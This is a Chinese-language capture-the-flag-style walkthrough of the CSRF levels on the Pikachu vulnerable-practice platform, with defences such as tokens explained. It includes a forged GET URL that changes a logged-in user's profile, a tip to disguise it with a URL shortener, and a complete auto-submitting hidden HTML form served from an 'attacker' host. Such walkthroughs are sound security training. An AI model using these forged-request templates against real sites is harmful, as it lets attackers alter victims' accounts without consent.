pikachu CSRF(跨站请求伪造) (皮卡丘漏洞平台通关系列)
目录
一、官方介绍
本节引用内容来自pikachu漏洞平台(删了一些内容,留下了最重要的部分,并为精炼语言进行了一些修改)
1、我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2、本质是借用户的权限完成攻击,因此攻击成功需要用户已经通过验证获得了权限,并触发了攻击者提供的请求。
3、网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等
二、一起闯关吧
第1关 CSRF(get)
1、闯关
看名字应该是get型的CSRF吧,漏洞点可能在url中,待会儿注意一下。
进来首先要登录,不知道账号密码,点一下提示
就来搞一下vince吧,登录进去显示了vince的个人信息,并且最下面有个修改个人信息的链接,点一下
住址改成france,然后点submit,发现url也没啥变化呀,点击提交之后就跳转到上图这个显示个人信息的页面了,住址也修改成功了(不截图了,多余……)
肉眼看不到的url变化,burpsuite可以,刚刚submit数据的过程用burpsuite抓了包,得到下图这样的报文,修改用户配置的url是:
http://192.168.101.16/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=france&email=vince%40pikachu.com&submit=submit
从上面的url和下图的报文可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么,这里应该是可以被利用的。
在vince登录状态下(其实这个链接里面是不包含用户名的,谁登录都无所谓,只要有人登录着就行,登录着的用户的信息就会被改成url提供的那些),试试改一改上面的链接,比如把电话号码改一改。浏览器地址栏输入payload:
http://192.168.101.16/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18612358678&add=france&email=vince%40pikachu.com&submit=submit
跳转到显示用户信息的地方,手机号已经被成功修改,攻击成功。
如果觉得这个url过于明显,网上有很多短链接网站可以修饰url(百度搜索“短链接”就有很多)
比如下图这样(印象中似乎见过一个网站可以自己定义生成的短链接的部分特征,比如以某个知名网站名开头。没找到,要是哪位大神知道,欢迎分享)
浏览器地址栏输入这个短链接之后,vince成功变成女孩啦
2、代码
简单看一下这关代码。这关的代码其实没啥可说的,主要是下一关有可说的,为了保持队形(╯▽╰ )
24~27行先检查用户是否登录,如果没登录则跳转到登录页面。如果用户已登录,就不再做任何验证,直接将前端传来的数据下到数据库了(看代码这关还有sql注入漏洞呢)。
第2关 CSRF(post)
1、闯关
进来依然要先登录,这次搞一下lucy
进去之后还是显示个人信息的地方,点“修改个人信息”
把性别改成boy,看看burpsuite抓到什么样的包了
从上图的请求报文来看,和前一关一样,没有不可预测的认证信息,可以被利用。
post类型的比get类型利用起来要烦一点点,需要攻击者自己写个利用该漏洞的html文件,放在自己服务器上,并发给用户请求这个html文件的链接。
比如针对这一关,将包含如下html代码的文件(假设文件名为post.html)放入攻击者的电脑,比如192.168.101.14;
然后在攻击者电脑上起http服务,比如python3 -m http.server 80
再将链接http://192.168.101.14/post.html发送给登录状态的用户
用户点击链接之后,就可以修改信息
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://192.168.101.16/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="12345678922" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="xiannv@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>
2、一个奇怪的现象和思考
本节内容和漏洞无关,不感兴趣可以跳过。
这关的闯关过程中发现一个奇怪的现象,输入payload(http://192.168.101.14/post.html),有时会成功,有时则会出现下图这样的页面,404 not found。
出现这种情况有2步原因,首先是因为后端没有获取到用户登录信息,其次是靶场源代码有问题。
先说第2步原因,csrf_post.php文件中如果检测到用户没有登录,会跳转到同文件夹(csrfpost)下的csrf_get_login.php,但事实上csrfpost文件夹下并没有这个文件,因此会返回404 not found。
把header("location:csrf_get_login.php");改成header("location:csrf_post_login.php");之后,就可以在检测到用户未登录时正确跳转到用户登录页面。
再看第1步原因,为什么用户登录之后后端检测结果是用户未登录?一开始以为是和网页跳转有关(192.168.101.14跳到192.168.101.16),尝试了很多次之后,分析大概率是因为这关session时间特别短(大概不到1min),至于为什么session时间特别短,目前还没看出来,pikachu源代码目录下没看到人为设置session过期时间的操作。。。
第3关 CSRF Token
这关是防范CSRF的常用方法的一个演示。
修改用户信息并提交,在burpsuite的proxy模块可以看到报文中包含token(如下图红框中所示)
试了一下,这关删除token是无法修改用户信息的,多抓几个包之后也没有看出token有什么规律。
在一个浏览器上以lucy登录,到修改信息的页面,查看网页源代码获取token,再到另一个浏览器以lili登录,构造payload包含此token也是无法攻击成功的。
看一下代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。
修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。
set_token()函数如下图所示,在生成新token之前会先销毁老token,避免token重复使用。
更多推荐
所有评论(0)